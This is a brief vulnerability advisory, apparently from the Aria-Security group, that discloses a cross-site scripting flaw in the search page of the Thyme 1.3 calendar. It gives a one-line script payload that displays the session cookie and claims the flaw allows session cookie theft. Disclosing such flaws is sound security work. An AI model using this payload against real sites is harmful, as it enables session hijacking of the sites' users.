#----------------------------------------------------------

#Aria-Security.net Advisory

#Discovered by: O.U.T.L.A.W

#< www.Aria-security.net>

#Gr33t to: A.u.r.a & R@1D3N & Smok3r

#-----------------------------------------------------------

» Software: Thyme 1.3

» Link: http://www.extrosoft.com/products/thyme/demo/index.php

» Attack method: Cross Site Scripting

» advisory:http://www.aria-security.net/portals/thyme

» Summary:

Thyme is a calendar system

»Description

A Remote User Can Steal the sessioncookie by searing <script>alert(document.cookie)</script><!-- in search page

» Solution

contact me: Advisory (at) Aria-Security (dot) net [email concealed]

[ reply ]